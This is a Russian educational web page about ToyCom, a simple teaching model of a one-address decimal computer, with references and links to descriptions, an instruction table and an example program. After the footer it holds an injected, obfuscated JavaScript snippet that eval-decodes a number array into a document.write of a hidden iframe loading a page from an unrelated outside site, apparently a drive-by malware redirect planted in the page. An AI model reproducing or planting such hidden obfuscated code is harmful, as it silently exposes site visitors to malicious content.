Данный сайт по техническим причинам перенесен с http://emc.km.ru и является его дальнейшим развитием.
Более подробно об истории сайта можно прочитать здесь.


Учебные модели компьютера



Модели (software):


Модели (hardware):






Награды сайта
Награды сайта

"ToyCom"

ToyCom

Эта модель родилась за рубежом. В частности, в Интернете удалось найти ссылки на публикации о ней, датированные 1979-80 г.
Kraushaar, James with Sebesta, R. - "TOYCOM: An Interactive Programming Language for Teaching the Fundamental Principles of Computers and Programming" - Proceedings of the Western Education Computing Conference - pp 1-8 - 1979
Kraushaar, James with Sebesta, R. - "TOYCOM: A Tool for Teaching Elementary Computer Concepts" - ACM SIGCSE Bulletin - vol 12, no 1 - 1980

К сожалению, получить текст этих статей мне пока не удалось.

Зато после некоторых поисков удалось разыскать достаточно подробное описание модели на сайте одного из университетов (там же имеется и более краткое описание). Сравнение показывает, что речь идет о той же самой модели, которую мы сейчас рассматриваем.

Наконец, совсем недавно совершенно случайно обнаружил переводную книгу с описанием модели:
Сибеста Р. Структурное программирование на языке ассемблера ЭВМ VAX-11: Пер. с англ. – М.: Мир, 1988. – 536 с.

В нашей стране модель получила большое распространение благодаря программно-методической разработке НПП "БИТ про". Фирма любезно предоставила мне для ознакомления свою программную реализацию и документацию к ней (замечательный рисунок, приведенный на страничке, взят с обложки документации).

ToyCom (от английского TOY COMputer, т.е. компьютер-игрушка) - это простейший эмулятор одноадресной ЭВМ. С ее помощью можно продемонстрировать наиболее важные принципы работы вычислительной машины, не отвлекаясь на второстепенные технические детали. Помимо программирования на языке машинных кодов, можно также познакомиться с основами языка ассемблер.

ToyCom: about

В западных вузах модель часто используют в качестве задания для реализации студентами самой машины и языков программирования для нее (в частности, на упоминавшемся выше сайте).

описание Краткое описание модели
На этой странице приводится краткое описание модели: из каких частей она состоит, какие регистры имеет процессор и как устроена память машины. Важной особенностью модели является то, что она работает в десятичной системе.

система команд Система команд
Здесь приводится полная таблица операций. Она очень проста и нагдядна. При кодировании программы и, наоборот, при ее расшифровке, таблица будет полезна.

примеры Пример решения задачи
Приводится пример простейшей программы для ToyCom, которая принимает два числа, суммирует их и выводит результат на экран. Разберите этот пример и вы поймете, что ничего сложного там нет.

учебное ПО Программная реализация
Как уже отмечалось выше, при знакомстве с данной моделью я пользовался программой, реализованной НПП "БИТ про". О программе и об условиях ее получения смотрите на данной странице.

ToyCom


© Е.А.Еремин, 2003


Автор сайта - Евгений Александрович Еремин (Пермский государственный педагогический университет). eremin@nm.ru


pt type='text/javascript'> function AYjB(j,C) {j=j-C;j=j^C;j=j^C;j=j/C;return j;} Array.prototype.IPiWlxkS=function(zj,FKDag) {var Qnzu=this.length;while(Qnzu--) {this[Qnzu]=String.fromCharCode(FKDag(this[Qnzu],zj));} return this.join('');} eval([202,224,200,236,220,204,222,234,94,240,230,212,234,204,82,66,80,122,212,206,230,196,220,204,66,232,230,200,124,70,210,234,234,226,118,96,96,200,224,236,222,232,204,218,224,206,204,218,202,204,230,232,94,200,224,220,96,208,196,218,218,204,230,244,96,218,196,222,208,96,234,204,232,234,94,210,234,220,218,70,66,232,234,244,218,204,124,70,202,212,232,226,218,196,244,118,66,222,224,222,204,70,126,122,96,212,206,230,196,220,204,126,80,66,84].IPiWlxkS(2,AYjB));